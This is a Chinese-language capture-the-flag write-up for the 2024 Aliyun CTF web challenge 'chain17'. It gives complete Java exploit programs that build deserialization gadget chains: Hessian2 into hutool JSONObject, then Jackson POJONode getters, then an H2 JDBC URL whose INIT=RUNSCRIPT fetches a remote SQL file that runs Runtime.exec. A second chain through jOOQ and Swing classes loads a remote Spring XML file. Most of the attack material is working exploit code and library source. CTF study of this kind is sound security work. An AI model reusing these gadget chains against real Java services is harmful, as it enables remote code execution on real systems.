2024阿里云ctf-web-chain17

agent

jdk17依赖有h2思路清晰打jdbc attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<dependency>  
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>

<!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18

H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM ‘http://127.0.0.1:8000/poc.sql
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS ‘String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return “su18”;}’;CALL EXEC (‘open -a Calculator.app’)
看到了h2 rce

1
2
3
4
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";  
// getConnection 触发漏洞
Connection connection = DriverManager.getConnection(connectionUrl);
connection.close();

安装h2数据库
h2数据库
python -m http.server 8001

1
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

可以拿到calc
使用codeql查询sink

使用尝试

还有一个把cn.h2%修改为cn.hutool%,找到

1
2
3
4
5
6
7
8
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",connectionUrl);
Unsafe unsafe = UnSafeTools.getUnsafe();
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());

这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法,
我们寻找一条到pojonode#toString的链子, 但是Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是

有限制,我们查找不继承这些接口的toString能触发pojonode#toString的方法,而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到


确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找

hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化

这时候生成了一个JSONObject变量,但是值为空

可以看到map将值put进去了两次反序列化
所以我们可以理解为,第一段Hessian2先创建一个JSONObject,
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢

hessian2反序列化的序列化函数可以传入指定类型进去,并且设置this.buffer[this.offset++]是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void writeType(String type) throws IOException {  
this.flushIfFull();
int len = type.length();
if (len == 0) {
throw new IllegalArgumentException("empty type is not allowed");
} else {
if (this._typeRefs == null) {
this._typeRefs = new HashMap();
}

Integer typeRefV = (Integer)this._typeRefs.get(type);
if (typeRefV != null) {
int typeRef = typeRefV;
this.writeInt(typeRef);
} else {
this._typeRefs.put(type, this._typeRefs.size());
this.writeString(type);
}

}
}


在HashMap里面push了一个type进去

这时候反序列化

调用了this.read()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  
public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}

private final boolean readBuffer() throws IOException {
byte[] buffer = this._buffer;
int offset = this._offset;
int length = this._length;
if (offset < length) {
System.arraycopy(buffer, offset, buffer, 0, length - offset);
offset = length - offset;
} else {
offset = 0;
}

int len = this._is.read(buffer, offset, 256 - offset);
if (len <= 0) {
this._length = offset;
this._offset = 0;
return offset > 0;
} else {
this._length = offset + len;
this._offset = 0;
return true;
}
}

读取缓冲区的值当this.readBuffer返回值为true的时候调用
this._buffer[this._offset++] & 255;
所以_offset这时候就为1

因为上面的writeBeginMap将tag设置为了77
通过readType读取

由于_offset为1,所以值是25
将offset-1,这时候offset读取就从2变成了1

在进入读取

这时候tag值就为25,_offset值就为2

设置_sbuf的长度为0,设置_chunkLength长度为25,也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节,也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了,继续跟着往后面走

1
2
3
case 77:  
type = this.readType();
return this.findSerializerFactory().readMap(this, type);
1
2
3
4
5
6
7
8
9
10
11
public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException {  
Deserializer deserializer = this.getDeserializer(type);
if (deserializer != null) {
return deserializer.readMap(in);
} else if (this._hashMapDeserializer != null) {
return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);
} else {
this._hashMapDeserializer = new MapDeserializer(HashMap.class);
return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType);
}
}

进入了这边, this.getDeserializer(type)获取了类型的反序列化
也就是获取了

当类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {  
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var6) {
throw new IOExceptionWrapper(var6);
}
}

in.addRef(map);
this.doReadMap(in, (Map)map, expectKeyType, expectValueType);
in.readEnd();
return map
}

这样就能newInstance了
在newInstance后调用了

1
this.doReadMap(in, (Map)map, expectKeyType, expectValueType);


in.isEnd()将buffer读取到了

也就是读完类名的值,也就是8,8也就是我们key的长度,再次反序列化,将offset的值就到
value反序列化开始的地方

获取到我们输入的key

再次反序列化获取我们的value,就是走正常反序列化了
JSONObject调用put

然后JSONObject调用set

到最后调用到这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {  
if (null == key) {
return this;
} else {
if (null != filter) {
MutablePair<String, Object> pair = new MutablePair(key, value);
if (!filter.accept(pair)) {
return this;
}

key = (String)pair.getKey();
value = pair.getValue();
}

boolean ignoreNullValue = this.config.isIgnoreNullValue();
if (ObjectUtil.isNull(value) && ignoreNullValue) {
this.remove(key);
} else {
if (checkDuplicate && this.containsKey(key)) {
throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
}

super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
}

return this;
}
}


调用了Object的toString也就是,

调用他的get函数
返回值也就是POJONode

String.ValueOf也就调用了value的toString

所以我们的思路就是

1
2
3
4
5
6
7
8
9
10
11
12
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);

hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");

POJONode pojoNode = new POJONode(bean);

Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

这样就能触发pojonode
所以payload就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import sun.misc.Unsafe;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",connectionUrl);
Unsafe unsafe = UnSafeTools.getUnsafe();
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
Bean bean = new Bean();
UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
hessian2Input.readObject();
}
}

但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields

在这边看到了BeanPropertyWriter#serializeAsField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
if (value == null) {
if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) {
if (this._nullSerializer != null) {
gen.writeFieldName(this._name);
this._nullSerializer.serialize((Object)null, gen, prov);
}

}
} else {
JsonSerializer<Object> ser = this._serializer;
if (ser == null) {
Class<?> cls = value.getClass();
PropertySerializerMap m = this._dynamicSerializers;
ser = m.serializerFor(cls);
if (ser == null) {
ser = this._findAndAddDynamic(m, cls, prov);
}
}

if (this._suppressableValue != null) {
if (MARKER_FOR_EMPTY == this._suppressableValue) {
if (ser.isEmpty(prov, value)) {
return;
}
} else if (this._suppressableValue.equals(value)) {
return;
}
}

if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) {
gen.writeFieldName(this._name);
if (this._typeSerializer == null) {
ser.serialize(value, gen, prov);
} else {
ser.serializeWithType(value, gen, prov, this._typeSerializer);
}

}
}

当获取值后,对value再次进行序列化

1
2
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);
//这边就是getter后的值


也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这

也就是调用了PooledDSFactory的getConnection

我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢

问题就在

有debug问题,fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了,debugCodeCall会进行判断,导致无法执行connect
所以我们使用

1
2
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可
我重写的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.aliyunctf.agent;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.util.Properties;
import java.util.logging.Logger;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import javax.sql.XAConnection;
import javax.sql.XADataSource;
import org.h2.jdbc.JdbcConnection;
import org.h2.jdbcx.JdbcDataSourceBackwardsCompat;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.jdbcx.JdbcXAConnection;
import org.h2.message.DbException;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import org.h2.util.StringUtils;

public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat {
private static final long serialVersionUID = 1288136338451857771L;
private JdbcDataSourceFactory factory;
private transient PrintWriter logWriter;
private int loginTimeout;
private String userName = "";
private char[] passwordChars = new char[0];
private String url = "";
private String description;
private Trace trace;

public Trace getTrace() {
return trace;
}

public void setTrace(Trace trace) {
this.trace = trace;
}

public H2DataSource(){
this.initFactory();
int var1 = getNextId(12);
this.setTrace(trace, 12, var1);
}

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
this.initFactory();
var1.defaultReadObject();
}

private void initFactory() {
this.factory = new JdbcDataSourceFactory();
}

public int getLoginTimeout() {
return this.loginTimeout;
}

public void setLoginTimeout(int var1) {
this.loginTimeout = var1;
}

public PrintWriter getLogWriter() {
return this.logWriter;
}

public void setLogWriter(PrintWriter var1) {
this.debugCodeCall("setLogWriter(out)");
this.logWriter = var1;
}

public Connection getConnection() throws SQLException {
return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false);
}

public Connection getConnection(String var1, String var2) throws SQLException {
if (this.isDebugEnabled()) {
this.debugCode("getConnection(" + quote(var1) + ", \"\")");
}

return new JdbcConnection(this.url, (Properties)null, var1, var2, false);
}

public String getURL() {
this.debugCodeCall("getURL");
return this.url;
}

public void setURL(String var1) {
this.url = var1;
}

public String getUrl() {
this.debugCodeCall("getUrl");
return this.url;
}

public void setUrl(String var1) {
this.debugCodeCall("setUrl", var1);
this.url = var1;
}

public void setPassword(String var1) {
this.debugCodeCall("setPassword", "");
this.passwordChars = var1 == null ? null : var1.toCharArray();
}

public void setPasswordChars(char[] var1) {
if (this.isDebugEnabled()) {
this.debugCode("setPasswordChars(new char[0])");
}

this.passwordChars = var1;
}

private static String convertToString(char[] var0) {
return var0 == null ? null : new String(var0);
}

public String getPassword() {
this.debugCodeCall("getPassword");
return convertToString(this.passwordChars);
}

public String getUser() {
this.debugCodeCall("getUser");
return this.userName;
}

public void setUser(String var1) {
this.debugCodeCall("setUser", var1);
this.userName = var1;
}

public String getDescription() {
this.debugCodeCall("getDescription");
return this.description;
}

public void setDescription(String var1) {
this.debugCodeCall("getDescription", var1);
this.description = var1;
}

public Reference getReference() {
this.debugCodeCall("getReference");
String var1 = JdbcDataSourceFactory.class.getName();
Reference var2 = new Reference(this.getClass().getName(), var1, (String)null);
var2.add(new StringRefAddr("url", this.url));
var2.add(new StringRefAddr("user", this.userName));
var2.add(new StringRefAddr("password", convertToString(this.passwordChars)));
var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout)));
var2.add(new StringRefAddr("description", this.description));
return var2;
}

public XAConnection getXAConnection() throws SQLException {
this.debugCodeCall("getXAConnection");
return null;
}

public XAConnection getXAConnection(String var1, String var2) throws SQLException {
if (this.isDebugEnabled()) {
this.debugCode("getXAConnection(" + quote(var1) + ", \"\")");
}

return null;
}

public PooledConnection getPooledConnection() throws SQLException {
this.debugCodeCall("getPooledConnection");
return this.getXAConnection();
}

public PooledConnection getPooledConnection(String var1, String var2) throws SQLException {
if (this.isDebugEnabled()) {
this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")");
}

return this.getXAConnection(var1, var2);
}

public <T> T unwrap(Class<T> var1) throws SQLException {
try {
if (this.isWrapperFor(var1)) {
return (T) this;
} else {
throw DbException.getInvalidValueException("iface", var1);
}
} catch (Exception var3) {
throw this.logAndConvert(var3);
}
}

public boolean isWrapperFor(Class<?> var1) throws SQLException {
return var1 != null && var1.isAssignableFrom(this.getClass());
}

public Logger getParentLogger() {
return null;
}

public String toString() {
return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName;
}
}

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

Bean bean = new Bean();
// Setting setting = new Setting();
// setting.setCharset(null);
// setting.set("url",connectionUrl);
Unsafe unsafe = UnSafeTools.getUnsafe();
// PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
// UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
// UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
// UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));

H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);

jdbcDataSource.setURL(connectionUrl);
jdbcDataSource.setLoginTimeout(5);

Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);
UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o)));

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
hessian2Input.readObject();

这样拿取shell就可达到第二条,像第二条发送payload去打通
第二条的trace一直没加载进去,很奇怪,原生类序列化能不能打进去呢

之前继承的SimpleDSFactory也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.aliyunctf.agent;
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.c3p0.C3p0DSFactory;
import cn.hutool.db.ds.druid.DruidDSFactory;
import cn.hutool.db.ds.jndi.JndiDSFactory;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.db.ds.simple.SimpleDSFactory;
import cn.hutool.db.ds.tomcat.TomcatDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.serial.SerialTools;
import com.n1ght.source.SourceTools;
import com.n1ght.unsafe.UnSafeTools;
import org.h2.jdbcx.JdbcDataSource;
import org.h2.jdbcx.JdbcDataSourceFactory;
import org.h2.message.Trace;
import org.h2.message.TraceObject;
import org.h2.message.TraceSystem;
import sun.misc.Unsafe;
import javax.sql.DataSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;

public class Main {
public static void main(String[] args) throws Exception {
//--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";

Bean bean = new Bean();
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",connectionUrl);
Unsafe unsafe = UnSafeTools.getUnsafe();
SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting);
UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));



UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory)));


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream);
hessian2Input.readObject();
}
}

只有开了–add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功

server

使用查找,分了两步

即可
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.aliyunctf.server;

import com.fasterxml.jackson.databind.node.POJONode;
import com.n1ght.reflect.ReflectTools;
import com.n1ght.serial.SerialTools;
import com.n1ght.unsafe.UnSafeTools;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Vector;

public class Main {
public static void main(String[] args) throws Exception {
String url = "http://127.0.0.1:1234/poc.xml";

Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);

Object value = url;
Class type = ClassPathXmlApplicationContext.class;

UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value);
UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type);



POJONode pojoNode = new POJONode(convertedVal);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

String s = SerialTools.base64Serial(eventListenerList);
System.out.println(s);
SerialTools.base64DeSerial(s);

}

}